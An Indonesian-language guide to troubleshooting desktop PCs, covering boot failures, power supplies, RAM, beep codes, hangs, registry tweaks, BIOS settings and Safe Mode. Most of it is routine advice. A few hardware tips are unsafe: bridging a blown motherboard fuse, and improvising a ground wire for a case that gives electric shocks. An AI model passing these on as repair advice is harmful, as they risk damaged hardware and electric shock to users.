Apakah anda pengguna komputer (PC) dan pernah mengalami kejadian berikut ini:
Ø suatu ketika PC anda susah dinyalakan.
Ø Perlu berulang kali menekan tombol power untuk menyalakan PC
Ø Proses boot perlu berulang kali untuk masuk ke Windows.
Ø Setelah standby, PC restart dengan sendirinya dan harus dimati-nyalakan lagi.
Berikut ini adalah tips yang mungkin sudah banyak diketahui oleh para pengguna PC untuk mendeteksi
apabila memiliki atau menemukan masalah seperti di atas.
1. Lakukan boot dengan live CD salah satu distro Linux, contohnya Knoppix, Small Damn Linux atau
sebangsanya. Bila load telah berhasil dan PC dapat bekerja dengan normal, ada kemungkinan
terjadi kelainan pada harddisk atau sistem operasi yang ada di dalam harddisk tersebut yang
menghalangi proses booting diselesaikan dengan sempurna.
2. Periksa power supply PC anda. Periksa dan ukur tegangan DC yang menyuplai ke motherboard
menggunakan alat ukur avometer. Misalnya tegangan +12 Vdan 5V hanya terukur (misal) 10,5V
dan 4,2V. Maka segera ganti power supply PC anda dengan yang baru untuk menghindari
kerusakan yang lebih parah pada keseluruhan sistem Komputer. Apabila anda memiliki PC lain (di
dekat anda), anda dapat menggunakannya untuk meyakinkan power supply anda masih bekerja
dengan normal atau tidak.
3. Periksa memory (RAM)nya. Bila anda menggunakan 2 atau lebih keping RAM yang berbeda jenis
baik merk maupun chipsetnya, terkandang akan mengalami masalah kompatibilitas seperti ini setelah
digunakan dalam jangka waktu tertentu. Apalagi bila power supply dan pasokan daya listrik yang
tidak stabil dikonsumsi oleh sistem. Untuk masalah ini coba bersihkan plat koneksi pada keping
RAM tersebut beserta slot yang ada pada motherboard.
4. Bila langkah di atas tetap memberikan hasil yang tidak memuaskan atau masalah tetap berulang,
maka kemungkinan besar motherboard PC anda sudah bermasalah.
Komputer (PC) yang sudah terkena vonis bermasalah pada motherboard memiliki kemungkinan sangat tipis
untuk diselamatkan, tentu saja jalan satu-satunya mengganti motherboard yang bermasalah tersebut. Atau
lebih jauh lagi anda mengganti PC anda dengan yang baru. Namun apakah anda mau mengalami hal yang
sama dengan motherboard atau PC baru anda? Tentu tidak. Sebuah langkah proteksi yang harus kita
lakukan selain mengoperasikan komputer sesuai dengan prosedur ON/OFF yang telah ditentukan adalah
proteksi terhadap tegangan supply. Langkahnya adalah:
1. Gunakan Power supply yang memiliki daya yang cukup terhadap konsumsi daya yang dibutuhkan
- 2 -
seluruh sistem.
2. Lindungi power supply dengan stavolt yang telah dilengkapi dengan AVR (Automatic Voltage
Regulator) yang baik, sehingga pasokan tegangan AC ke power supply tetap terjaga stabil.
3. UPS (Uninterruptible Power Supply) yang telah dilengkapi dengan AVR, merupakan langkah
proteksi tegangan yang paling maksimal yang bisa anda lakukan. Selain sebagai penstabil tegangan,
juga dapat berfungsi sebagai back up tegangan.
Menangani Program yang Hang.
Aplikasi anda berjalan tdk normal, tiba-tiba berhenti bekerja & tdk merespon. Sebelum me-resetsistem,
sebaiknya anda lakukan langkah berikut:
Ø Klik kanan pada area yang kosong di Taskbar, pilih Task Manager dari Menu yang muncul. Atau
jika anda tidak bisa mendapatkan menu Task Manager, cukup tekan saja Ctrl+Alt+Delete. Pilih
Bagian "Application" dalam Tab Task Manager.Pilihlah program dgn Status Not Responding.
Cobalah klik tombol (SwitchTo) untuk mengakses aplikasi. Jika masih belum bekerja, maka klik
tombol (End Task) untuk mengakhiri aplikasitsb. Jika hal ini tetap tdk bekerja, klik kanan pada
program yang tdk responding, pilih menu (GoTo Process)Klik kanan pada File exe dari aplikasi
hang tsb, pilih menu (End Process Tree)
Ketika muncul kotak dialog Task Manager Warning, tekan saja tombol Yes untuk mengakhiri
Program hang ini dan komputer anda kembali normal.
Ø Hapus Tombol [Turn Off Computer] di Welcome Screen
1. Klik [Start] > [Run...] kemudian ketik regedit32.exe
2. Masuklah ke Sub key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.
3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian
klik dua kali entry tersebut.
4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.
5. Tutup Registry Editor, kemudian Restart Windows Anda.
- 3 -
Cegah Uninstal Program Via Add/Remove Program
Add/Remove Programs berfungsi untuk menginstal, uninstall, dan memperbaiki program. Untuk memproteksi
agar orang lain tidak bisa mengotak-atik Uninstall maka anda dapat melakukanlangkahberikut:
1. Klik [Start] > [Run], ketik regedit.exe
2. Masuk ke
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstal
3. Temukan key dimana terdapat nama program yang ingin anda atur pilihannya ini. Key-key tsb dapat
berupa CLSID ataupun namanya langsung. Nama program ini dpt anda lihat pada data Display
Name yang ada pada masing-masing key.
4. Setelah anda temukan key yang anda cari, buatlah data DWORD bernama NoRemove.
5. Klik ganda data tsb kemudian isikan nilainya dengan angka 1.
Coba jalankan Add/Remove program, sorot program yang anda set tadi, pilihan Remove sdh hilang.
anda juga dapat menyembunyikan pilihan [Repair] dan [Change]. Langkahnya sama, hanya nama
datanya yang berbeda. Untuk Repair, gunakan nama NoRepair, sedangkan untuk Change gunakan
nama NoModify. Untuk mengembalikan ke semula, anda cukup mengganti nilainya menjadi 0 atau
menghapus data tsb.
Sering Terjadi Hang
Penyebab :
1. Memori tdk cocok
2. Ada virus di Harddisk
3. Over Clock
4. Ada Bad Sector di Harddisk
Solusi :
Ø Ganti memori
- 4 -
Ø Scan Harddisk/jika ada virus segera dikarangtina/di delete file yang terkena virusnya, jika
masih Hang segera Format Ulang(back up dulu data-nya)
Ø Setting kembali clock prosesor
Ø Partisi harddisk dgn benar.
CMOS Failure
Penyebab :
1.Baterai habis
2. Setting Bios berubah
Solusi :
Ø Ganti baterai CMOS
Ø Seting ulang Bios dgn benar
Pembacaan Data menjadi lambat
Penyebab :
1. Memori tdk cukup/Full
2. Harddisk penuh atau ada virus
Solusi :
Ø Tambah memori
Ø kurangi isi harddisk, scan virus, atau ganti hard disk dgn kapasitas yg lebih besar
Tidak Bisa Booting
- 5 -
Penyebab :
1. Cache memori rusak
2. Memori tdk cocok
3. Boot sector pada Harddisk rusak
4. Ada Bad Sector pada Trek awal Harddisk
Solusi :
Ø Disable eksternal cache memori di BIOS
Ø Ganti memori
Ø Masukkan operating system baru
Ø Partisi Harddisk.
Suara bip panjang & berkali-kali
Penyebab :
1.Memori rusak, Memori tdk cocok,
2. Memori tdk masuk slot dgn sempurna
Solusi :
Periksa kedudukan memori(pasang ulang kembali, bersihkan dulu jika banyak korotan yang
menempel)/Ganti memori jika tdk bisa diperbaiki lagi.
Suara Bip bagus tetapi tidak ada tampilan dilayar/Bip dua kali
Penyebab :
VGA Card rusak, Slot VGA tdk terpasang sempurna
- 6 -
Solusi :
Periksa dan betulkan kembali kedudukan VGA, Jika belum berhasil ganti
dengan VGA yang baru
I/O disk Error
Penyebab :
Sistem di hard disk rusak
Solusi :
Perbaiki Hard disk (Saran: jika biaya perbaikan adalah 50% dari harga baru, sebaiknya
anda mengganti saja dengan hard disk yang baru, karena kemungkinan rusak lagi lebih besar
dan biaya perbaikan kembali akan lebih mahal daripada membeli yang baru)
Floppy Disk Failure
Penyebab :
1. I/O rusak
2. Floppy rusak
3. kabel floppy terputus
4. Tegangan power supply tidak cukup
Solusi :
Ø Ganti I/O
Ø Periksa floppy
Ø periksa kabel Floppy
Ø Periksa tegangan power supply ke floppy
Motherboard me-reset sendiri atau tidak bisa Booting
- 7 -
Penyebab :
1. Power supply tidak normal
2. Motherboard kotor (berdebu)
Solusi :
Ø Ganti power suply (dgn daya yang lebih besar jika dicurigai dayanya kurang)
Ø Bersihkan Motherboard (hati-hati, sebaiknya anda mempelajari dahulu cara pembersihan
yang baik)
Kapasitas Harddisk tidak Normal
Penyebab :
Setting Jumper I/O tidak benar
Solusi :
Periksa & Perbaiki kembali setting jumper I/O Harddisk
On Board tidak Jalan
Penyebab :
1. On Board rusak
2. Setting On Board tidak benar
Solusi :
Ø Ganti dengan card
Ø Periksa setting On Board
- 8 -
Tampilan di Layar ada huruf yang berkedip-kedip atau muncul garis
Penyebab :
VGA Rusak/kedudukan tidak benar/terjadi konflik
Solusi :
periksa kedudukan VGA, jika belum benar segera ganti dengan yang baru
Mouse tidak Berfungsi
Penyebab :
1. Mouse kotor/rusak
2. On Board mouse rusak
3. Driver mouse tidak cocok
4. Mouse tidak terdeteksi
5. Kabel Mouse tidak sesuai
Solusi :
Ø Bersihkan mouse/ganti baru
Ø Ganti dengan card
Ø Periksa kembali driver mouse
Ø Setting ulang driver
Ø Cocokkan kabel mouse untuk On Board dan card
Motherboard Blank (tidak ada sama sekali reaksi)
- 9 -
Penyebab :
1. BIOS rusak
2. Prosesor terbakar
3. regulator jebol
4. Chipset rusak
5. IC reset & Clock rusak
6. Setting jumpers over clock
7. Memori rusak
8. PS padam
9. Socket PS longgar
Solusi :
Ø Upgrade BIOS dengan tipe yang sama, 2 s/d 5. Ganti dengan yang baru ,6. Setting ulang
jumper clocknya ,7. Ganti memori 8. Periksa PS, 9. Periksa Slot/socket PS
Kerusakan-kerusakan lain pada Motherboard
1. Keyboard error atau tidak terdeteksi
Jika sering error, kemungkinan besar IC keyboarnya rusak, harus diganti baru. Jika
keyboard tidak terdeteksi, kemungkinan besar terminal keyboardnya renggang atau tidak
tersambung sempurna. Periksa juga solderan yang ada dibawah konektor keyboard. Jika
ada yang kendor tambahkan sedikit timah solder. Terakhir periksa skring (fuse) keyboard
yang ada di Motherboard. Biasanya mempunyai kode F1 atau kadang-kadang ada juga yang
mengunakan lilitan (L1). Jika skring pustus dan tidak ada penggantinya, kita bisa
menjumper-nya
2. Unit input/output (I/O) Rusak
Input/Output terdiri dari beberapa bagian, diantaranya :
- 10 -
- Hdc (harddisk controller). kerusakan pada bagian ini menyebabkan harddisk tidak
terdeteksi oleh BIOS dan otomatis tidak bisa menjalankan operating system.
- Fdc (floppy disk controller). Kerusakan pada bagian ini mengakibatan floppy disk tidak
bisa bekerja meskipun FDD yang kita pakai masih baik.
- LPT port (printer port/parallel port). Printer tidak akan bekerja jika port ini rusak.
- Serial Port (COM1, COM2). Port ini biasanya digunakan oleh mouse, keyboard, modem
eksternal. Jika rusak maka port ini tidak akan bekerja.
Solusi masalah :
Untuk mengatasi kerusakam pada unit ini, kita bisa mengganti IC I/O-nya. Namun sebaiknya
cara ini dilakukan oleh tenaga ahli. Cara lain untuk mengatasi hal ini : dengan menambahkan
card super I/O. Kita tinggal menancapkannya pada slot ekspansi dan kemudian setting
BIOS-nya. Fungsi I/O pada motherboard harus di-disable. Artinya, I/O akan otomatis
berpindah dari internal motherboard ke super card I/O yang telah kita pasang.
3. Cache Memori (L2 Cache) Rusak
Pada generasi Pentium I, cache memori eksternal ada di Motherboard. Generasi PentiumII
ke atas, cache memori eksternalnya disertakan di Prosesor. Jika bagian ini rusak, komputer
akan sering Hang atau bisa juga tidak bisa Booting, meskipun muncul tampilan di Monitor.
Cara mengatasi kerusakan cache memori yang melekat pada motherboard adalah dengan
menggantinya dengan IC yang sama. hal ini sebaiknya dilakukan dengan teknisi yang ahli.
Kita juga bisa melakukan cara lain yaitu dengan menambah memori (RAM) menjadi 2 kali
lipat (misal yang tadinta 128 MB menjadi 256 MB). Selanjutnya, setting BIOS-nya dengan
cara men-disable bagian external cache memori. Simpan dan Booting ulang komputer. Cara
ini juga bisa dilakukan pada komputer yang cache memori-nya melekat pada prosesor.
Windows Kagak Bisa Shutdown
Problem ini umumnya karena registry Fast Shutdown dalam kondisi aktif. Bila ini terjadi, cobalah
untuk menonaktifkannya. Restart komputer dengan menekan tombol [Ctrl] + [Alt] + [Del] secara bersamaan
atau tombol [Reset] pada CPU (Central Processing Unit). Setelah kembali dalam sistem Windows, klik
[Start] [Run]. Ketik “msconfig” (tanpa tanda kutip) pada boks yang muncul. Setelah itu, boks dialog System
Configuration Utilities akan terbuka.Pada tab [General], klik [Advanced...]. Centangilah opsi [Disable fast
shutdown]. Tutup semua aplikasi itu dan cobalah untuk men-shutdown-nya dengan normal, yaitu dengan
mengeklik [Start] dan pilih [Shutdown...]. Klik [Shut down] dan [OK] pada boks konfirmasi. Kini mestinya
- 11 -
Windows dapat shutdown dengan baik.Jika problem belum teratasi, kunjungilah link
support.microsoft.com/default .aspx?scid=KB;en-us;q238096 dengan browser internet Anda. Link tersebut
berisi keterangan mengenai kemungkinan sebab lain dari kegagalan Windows
Start-up Sistem Melambat
Terlalu banyaknya program yang di-upload saat start-up dapat membuat boros memori. Untuk
menyelesaikannya, matikan seluruh aplikasi, kemudian munculkan boks dialog System Configuration Utilities
seperti cara di atas.
Klik tab [Startup]. Di dalamnya terdapat daftar program-program yang berjalan sejak Windows dimulai.
Jika tanda centangnya cukup banyak, maka kurangilah dan biarkan hanya terdapat pada program yang Anda
anggap perlu saja.
Misalnya, hilangkan saja tanda centang dari program-program seperti e-mail client, messenger, Microsoft
Office Start-up, dan aplikasi lainnya yang sebetulnya dapat dibuka kapan saja. Klik [Apply] dan [OK] untuk
mengaktifkannya. Dan klik [Yes] pada konfirmasi untuk me-restart sistem Anda.Kontrol daftar startup
program ini secara rutin, agar pemakaian memori sistem Anda terjaga
Sistem Komputer Hang
Fenomenanya bagi kita beragam. Program tidak dapat berjalan, mouse tak dapat digerakkan, kibor
tak berfungsi, sampai munculnya blue screen.Langkah pertama untuk menyelesaikannya, cobalah untuk
menekan kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Bila boks Close Program muncul, maka
hentikan salah satu program yang berketerangan “Not Responding”. Atau hentikan juga program lain yang
tidak perlu. Caranya, klik nama program tersebut dan klik [End Task].
Jika sistem masih hang. Daftarlah nama-nama program yang berjalan tadi. Dan Restart sistem melalui tombol
[Restart] di CPU. Setelah sistem Windows berjalan lagi, buka satu per satu program tadi untuk mengecek
konflik tersebut terjadi saat Anda menggunakan aplikasi yang mana. Jika ketahuan, catat nama program
tersebut dan konsultasilah ke vendornya. Bila program penyebab konflik itu tidak terlalu Anda butuhkan,
sebaiknya uninstall saja dari sistem.
Safe Mode
Jika saat booting tiba-tiba Windows merekomendasikan Anda untuk menggunakan safe mode,
berarti ada yang tidak beres dalam sistem Anda. Hilangnya file sistem, driver dan file penting lainnya dari
Windows dapat memaksa Windows tampil dalam safe mode. Kerusakan dalam bagian hard disk juga dapat
- 12 -
memicunya.Untuk memeriksanya, masuk saja ke safe mode dan scandisk dulu hard disk Anda. Klik [Start]
[Programs] [Accessories] [System Tools] lantas [ScanDisk]. Jika hasilnya tak ada masalah, maka
kemungkinan kerusakannya ada pada file sistem. Restart, dan kali ini paksakan untuk menggunakan normal
mode. Lihat, biasanya Windows akan mengeluarkan pernyataan-pernyataan error. Kalau bisa catat
error-nya dan konsultasikan pada Microsoft. Atau jalan singkatnya, Anda bisa menginstal ulang sistem
Windows. Sebelumnya tentu Anda harus mem-back up semua data penting Anda ke drive atau hard disk
lain.
Defrag Macet
Kondisi ini bisa saja terjadi bila Anda juga menjalankan program lainnya saat defrag berlangsung.
Mungkin Anda merasa sudah menutup semua program, tapi sistem komputer masih mencatat kegiatan
beberapa program.
Untuk mengetahuinya, tekanlah kombinasi tombol [Ctrl] + [Alt] + [Del] secara bersamaan. Begitu boks
Close Program muncul, periksa program apa sajakah yang tengah berjalan saat ini.Selain Explorer dan
Systray, hentikan semua program lainnya dengan mengekliknya dari daftar dan klik [End Task]. Lalu,
mulailah lagi untuk men-defrag.Bila masih bermasalah, cobalah untuk memunculkan boks dialog System
Configuration Utility. Klik [Start] lalu [Run]. Ketikkan “msconfig” (tanpa tanda kutip) dan tekan [Enter].
Pada tab [General], tepatnya perhatikan pada opsi-opsi di bawah [Selective Startup]. Hilangkan semua
tanda centang pada opsi-opsi itu. Tapi biarkan opsi [Selective Startup] tetap tercentang.Restart komputer
Anda dan kembali jalankan defrag. Jika kondisi belum pulih, maka kemungkinan sebab lainnya adalah
kerusakan di hard disk Anda. Jalankan Scan disk. Bila semuanya oke-oke saja, mudah-mudahan kini defrag
dapat berjalan baik.Kecuali jika semua langkah itu belum menyelesaikan masalah, maka berkonsultasilah ke
teknisi komputer langganan Anda.
PC tak Mau Hidup
Bila ini terjadi, pastikan Anda telah menekan tombol power pada CPU (central processing unit)
dengan benar. Cek juga bahwa kabel power telah tersambung dengan baik dari power outlet-nya ke PC.
Tancapkan kabel-kabelnya sekali lagi.
Pengguna yang memakai stabilizer perlu melihat apakah stabilizer-nya memang berfungsi baik saat
dihidupkan. Pastikan juga power outlet-nya tidak bermasalah. Anda bisa mengetesnya dengan
menyambungkan peralatan listrik lainnya ke power outlet tersebut. Kalau peralatan tersebut bekerja, berarti
power outlet-nya masih bagus.
- 13 -
Setelah sekian pengecekan tersebut, kalau PC masih tidak mau hidup, masalahnya kemungkinan besar
terletak pada kabel power. Gantilah kabel power-nya dengan yang baru. Permasalahannya mungkin terletak
pada kotak power supply PC atau malah pada motherboard-nya. Jika kabel telah Anda ganti tapi problem
masih terjadi, sebaiknya langsung hubungi tempat servis langganan Anda deh.
Sering Restart Sendiri
Masalah ini kemungkinan sebabnya adalah gangguan arus listrik, baik pada power outlet-nya,
stabilizer, kabel power, power supply maupun motherboard. Kerusakan memori (RAM) juga bisa
menyebabkannya.Lakukan langkah-langkah pengecekan seperti pada problem di atas. Tegangan listrik yang
tidak stabil juga bisa mempengaruhinya.
Plug N’ Pray
Windows sebenarnya hadir dengan fasilitas Plug N’ Play, yaitu kemampuan otomatis untuk
mendeteksi dan melakukan konfigurasi bila ada penambahan kartu atau perangkat ke dalam sistemnya.
Bahasa gampangnya, tinggal colok, langsung jalan.
Tapi fasilitas itu sering diplesetkan orang menjadi Plug N’ Pray, gara-gara pada praktiknya kemudahannya
tidak seperti yang dijanjikan. Windows gagal mendeteksinya dan perangkat pun tak bias berfungsi. Kalau itu
terjadi, cobalah untuk menggunakan fitur Add/Remove Hardware pada Control Panel. Klik [Start] [Settings]
[Control Panel]. Kemudian dalam jendela yang tampil, klik dobel [Add/Remove Hardware]. Sebuah wizard
akan membantu Anda untuk mendeteksi hardware tersebut.Kalau itu gagal juga, paksa dengan menjalankan
file instalasi hardware langsung dari disket atau CD-nya. Mestinya sih langsung beres.Kecuali bila cara itu
juga tidak jalan juga, maka kemungkinan setting BIOS Anda perlu diatur agar fitur Plug N Play dari
Windows berjalan. Restart-lah PC Anda. Langsung tekan tombol [Del] pada kibor secara terus menerus
hingga BIOS muncul. Kalau BIOS Anda dari Award Software, carilah bagian [PnP/PCI Configurations] dan
tekan [Enter]. Pada opsi [PNP OS Installed], gantilah nilai “No” dengan “Yes”. Pada jenis BIOS lainnya,
walau menu setting-nya berbeda, pada prinsipnya carilah pengaturan yang serupa.
Masalah Kernel32
Bila program Anda berhenti di tengah jalan dan muncul pesan yang mengandung kata-kata “illegal
operation”, “kernel32” dan seterusnya, tak perlu bingung. Kemungkinan besar itu karena program yang
Anda jalankan konflik dengan sistem Windows. Cukup tutup pesan tersebut. Uninstall program tersebut,
kemudian instal kembali. Biasanya solusi begini cukup manjur mengatasinya, kecuali jika program Anda
- 14 -
bajakan.
PC Hidup tapi tidak Mau Booting
Gejalanya, layar monitor tidak mau menampilkan apa-apa dan komputer membunyikan bunyi beep
secara berulang-ulang. Matikan PC, matikan stabilizer, cabut semua kabelnya, kemudian buka casing-nya.
Bawa PC ke tempat yang terang, atau sediakan senter untuk membantu Anda melihat dengan jelas ke
dalamnya.
Cek bahwa kartu memori sudah tertancap dengan benar pada slot-nya. Karena ini seringkali menjadi
penyebabnya. Buka penguncinya, cabut kartu memorinya, tancapkan kembali dengan benar dan kunci
kembali. Pastikan juga kartu memori Anda dalam keadaan baik, tidak cacat dan tidak rusak.
Sekaligus saja, pastikan kartu-kartu dan kabel-kabel di dalam PC tersambung dengan baik, dan tidak
mengalami cacat atau bahkan putus sambungannya. Prinsipnya, agar komputer berjalan baik, maka semua
komponen harus berada dalam posisinya yang benar dan dalam kondisi baik pula.Lihat juga bahwa
motherboard Anda tidak tergores. Jalur-jalur tembaganya masih bagus dan tidak terpotong oleh sayatan
benda tajam. Kemudian nyalakan kembali PC tersebut. Bila kasusnya masih terjadi, cobalah untuk menukar
posisi kartu memori ke slot memori yang lainnya. Cek manual motherboard Anda untuk panduannya. Kalau
tidak selesai juga, konsultasikanlah ke teknisi servis komputer.
Hard Disk, Keyboard atau Floppy Drive tidak Dikenal
Proses booting akan tertahan jika hard disk utama tidak dikenali oleh BIOS. Pesan yang tampil
biasanya, “Primary hard disk failed”. Kalau sudah begini, sistem operasi tidak akan jalan. Untuk
mengatasinya, restart PC dan segera tekan [Del] terus menerus hingga BIOS muncul. Di BIOS, periksa
apakah primary hard disk terdeteksi atau tidak. Dalam beberapa model BIOS, ada fasilitas hard disk
auto-detection. Gunakanlah fasilitas itu. Jika hard disk tidak terdeteksi juga, maka matikan PC, cabut semua
kabelnya dan bukalah casing-nya.Cek apakah kabel power dan kabel data, yang menyambungkan hard disk
dan motherboard, telah terpasang dengan baik dan tidak cacat. Nyalakan kembali, bila kasusnya berulang,
maka ada kemungkinan hard disk Anda rusak. Tapi sebaiknya, konsultasikan saja dulu. Beberapa teknisi
komputer mengerti cara untuk menyelamatkan data dari hard disk yang telah rusak.
Langkah-langkah yang sama bisa Anda gunakan untuk menyelesaikan problem floppy drive yang tidak
terdeteksi. Prinsipnya tidak terlalu berbeda, kok.
Bila pesan yang muncul adalah “Keyboard error or no keyboard present”, matikan PC dan cek apakah
- 15 -
kabel kibor telah tertancap ke PC dengan benar. Kalau perlu, cabut dan tancapkan kembali. Jika tidak beres
juga, cobalah untuk mengganti kibor Anda.Kalau problem tidak selesai juga, kemungkinan port kibor pada
motherboard rusak. Sebelum memutuskan untuk mengganti motherboard, konsultasikanlah dulu dengan
tempat servis Anda.
Komputer Berisik
Sebabnya bisa berasal dari kipas-kipas dalam komputer (kipas prosesor dan kipas pendingin)
ataupun hard disk. Matikan PC dan buka casing-nya. Dalam kondisi casing terbuka, nyalakan kembali PC
dan teliti dari mana sumber bunyi itu.Apakah ada kabel atau ujung kabel yang menyangkut pada kipas?
Adakah benda yang menghambat geraknya? Kalau ya, maka singkirkanlah benda itu atau jauhkanlah kabel
tadi dari kipas. Bersihkan kipas di atas prosesor dan kipas pendingin komputer secara rutin untuk
menghindarinya. Anda bisa gunakan kuas kecil yang kering untuk itu.
Kalau sumber suaranya berasal dari hard disk, periksalah posisinya. Karena mungkin sumber bunyinya dari
pergerakan jarum di dalam hard disk yang tidak stabil. Hindari meletakkan hard disk secara miring, karena
dapat cepat rusak dan berbunyi.
Bila problemnya tidak tuntas, konsultasilah pada teknisi servis komputer.
Sering Hang & Panas
Matinya kipas pendingin bisa merupakan sebab naiknya temperatur PC, dan akhirnya PC sering
mengalami hang. Panas dapat menyebabkan komponen PC cepat rusak. Maka, periksalah kipas-kipas
tersebut. Bersihkan kotoran di dalamnya, dan pastikan kabel power untuknya tidak putus. Kalau kasusnya
masih terus terjadi, konsultasilah, karena bisa jadi sebabnya adalah pengaturan jumper dalam motherboard
yang tidak sesuai.
Casing Nyetrumm
Hal seperti ini terjadi akibat kebocoran arus listrik dari power supply. Matikan PC, cabut semua
kabelnya dan ambil kabel tipis dengan panjang kira-kira 1,5 kali tinggi PC.Kelupas salah satu ujung kabel itu,
hingga tampak kawat tembaganya sekitar 3 cm. Lilitkan ujung kabel dengan kawat tembaga yang terbuka itu
ke salah satu sekrup di belakang bodi PC. Dan biarkan ujung kabel satunya menjuntai ke tanah atau
menempel ke tembok
- 16 -
Kerusakan Motherboard
Komputer yang mati/ hang sebelum masuk ke sistem operasi bisa penyebabnya bisa
bermacam-macam. Berikut Tips yang sudah pernah saya praktekkan dan hampir selalu berhasil. Pilih yang
sesuai dengan permasalahan yang dihadapi, atau lakukan secara bertahap.
• Cek Kabel, mulai dari Kabel yang masuk ke UPS/Stabilizer, kabel Power ke Monitor, kabel Monitor
ke CPU dan kabel yang masuk ke Komputer. Pastikan pemasangannya telah sesuai dan kencang,
serta arus listriknya ada dan cukup.
• Jika terdapat CD-ROM / DVD-ROM dan bisa dibuka/tutup, maka kemungkinan permasalahan ada di
komputer (CPU), mulai dari kabel power yang masuk ke motherboard atau motherboard itu sendiri,
cek pemasangan kabelnya.
• Jika dua langkah diatas sudah dicek, dan masih belum menyala, matikan komputer dan Reset BIOS di
Motherboard. Caranya bisa dilihat di buku panduan motherboard, dan cari menu Reset BIOS.
Biasanya untuk mereset BIOS dapat dilakukan pada Jumper 1 (JP1). Disana ada 3 pin, yang 2
diantaranya dihubungkan dengan sebuah konektor kecil. Untuk mereset, tinggal melepas dan
memasang di 2 pin yang satunya. Misalnya 3 pin tersebut 1,2,3 dan pin 1 dan 2 sudah terhubung, maka
untuk mereset tinggal melepas dan memasang di pin 2 dan 3. Biarkan sekitar 30 detik atau lebih
kemudian kembalikan seperti semula. Nyalakan komputer.
• Jika BIOS telah di reset dan masih tidak menyala, coba lepas Baterai CMOS, yang ada di
motherboard. Diamkan sekitar 1 menit, kemudian dipasang kembali dan nyalakan komputer. Jika
baterai sudah cukup lama, lebih dari 3 tahun, ada baiknya diganti dengan yang baru. Apalagi jika jam
di komputer sering tidak cocok.
• Jika kipas Processor / VGA berputar, tetapi komputer masih belum menyala, maka kemungkinan ada
yang tidak beres dengan BIOS motherboard atau Motherboard memang sudah rusak. Mungkin BIOS
perlu di Update, tetapi sebelum update, komputer harus bisa menyala (masuk BIOS) terlebih dahulu.
Untuk melakukan hal itu, coba lepas kabel Hardisk, CD-ROM, Floppy. Kemudian, lepas Memori
- 17 -
komputer (RAM) dan ganti di slot yang lain atau gunakan memori komputer lain. Hal ini mungkin harus
diulangi sampai beberapa kali, hingga ada tanda-tanda kehidupan…
• Jika CPU sudah kelihatan bekerja, hardisk berputar dan lampu led CPU berkedip-kedip tetapi
monitor tidak ada tampilannya, maka kumungkinan VGA ( Kartu Grafis) komputer yang bermasalah.
Coba ganti dengan VGA lain atau cek VGA tersebut di komputer lain (Hal ini jika VGA tidak jadi satu
dengan motherboard).
Jika dengan semua langkah diatas, komputer juga belum menyala, mungkin komputer perlu di service orang
yang lebih ahli.
Safe Mode, Manfaat dan Penggunaannya
Bagi sebagian besar kita ( pengguna komputer) mungkin tidak asing lagi dengan istilah
Safe Mode. Fitur ini di sediakan di sistem operasi Windows, untuk berbagai tujuan.
Misalnya untuk memeriksa atau memperbaiki kerusakan pada sistem windows,
menghapus virus, memeriksa kerusakan driver dan lainnya.
Bagaimana mengaktifkan Safe Mode dan apa saja yang dapat dimanfaatkan ketika kita sudah masuk Safe
Mode ?
Apa itu Safe Mode ?
Safe mode merupakan opsi pilihan start up windows yang fungsi utamanya menangani jika ada masalah
dengan sistem. Windows akan berjalan dengan kondisi minimal, hanya file-file dan driver yang penting saja
yang di aktifkan, termasuk juga software-software tambahan sebagian besar tidak diaktifkan. Kemudian
ketika sudah masuk safe mode, maka akan tampak tulisan “Safe Mode” di pojok atas windows.
Cara Masuk ke Safe Mode
Salah satu cara yang dapat digunakan di hampir semua sistem windows termasuk windows Vista adalah
dengan menekan tombol F8 ketika windows sedang booting ( atau ketika komputer mulai menyala dan
- 18 -
tampil informasi Memory / hardware ). Setelah itu akan tampil beberapa menu pilihan booting komputer,
seperti berikut :
Beberapa penjelasan dari Advande Options Menu
Selain menu untuk memilih Safe mode, ada berbagai menu lainnya yang bisa dipilih. Berikut beberapa
penjelasan menu-menu tersebut :
• Safe Mode, opsi ini berarti windows akan berjalan hanya menggunakan minimal file dan driver
termasuk juga software-softwarenya.
• Safe Mode with Networking, opsi ini seperti safe mode ditambah dengan driver sehingga kita bisa
memanfaatkan Jaringan ( Networking)
• Safe Mode with Command Prompt, sama seperti safe mode hanya saja program Command
Prompt / MS-DOS Prompt ( cmd.exe) akan langsung aktif ( bukannya explorer)
• Enable Boot Logging, windows akan membuat file Ntbtlog.txt, ketika start up dan informasi start
up tersebut akan disimpan di file tersebut. File ini biasanya disimpan di sistem root, misalnya drive C:
• Enable VGA Mode. Windows akan berjalan dengan tampilan mode minimal misalnya 640×480
atau 800×600. Biasa digunakan untuk memeriksa kerusakan atau error [driver] VGA (tampilan
grafik windows).
• Last Known Good Configuration, menjalankan windows menggunakan informasi registry yang
- 19 -
telah disimpan ketika terakhir shutdown. Gunakan jika kita salah mengubah konfigurasi sistem, atau
ketika windows gagal masuk ke tampilan utama.
Beberapa manfaat Safe Mode
• Uninstall software yang sebelumnya menyebabkan komputer hang, error dan sebagainya. Kadang
setelah di install program tertentu windows bermasalah, maka jika tidak bisa di uninstall melalui mode
biasa gunakan Safe Mode.
• Menonaktifkan aplikasi atau program tertentu. Untuk memudahkan setelah masuk ke Safe Mode,
bisa menggunakan aplikasi Autoruns yang bisa diperoleh gratis dari SysInternals. Teknik ini juga bisa
dimanfaatkan untuk memeriksa loading komputer yang lambat. Jika tidak ada Autoruns, bisa
mengetikkan MSCONFIG di menu Run, untuk menjalankan Sistem Configuration Utility, jika
sudah tampil dipilih melalui tab Startup.
• Memeriksa permasalahan dengan tampilan grafik windows (VGA). Ketika tampilan windows
bermasalah, bisa di cek dengan memilih “Enable VGA Mode”, jika berhasil dan tidak melihat
masalah, kemungkinan masalah di driver VGA.
• Menghapus file/virus yang tidak bisa melalui mode biasa. Sebagian antivirus masih bisa dijalankan di
safe mode, dan bisa dicoba scan melalui safe mode. Kadang virus tidak berjalan di safe mode, meski
banyak juga yg bisa berjalan/atif meski di Safe Mode.
• Menjalankan System Restore jika sebelumnya diaktifkan, sehingga kondisi sistem bisa dikembalikan
ke keadaan sebelumnya.
• Menjalankan berbagai fitur dari Control Panel, Administrative tools dan sebagainya.
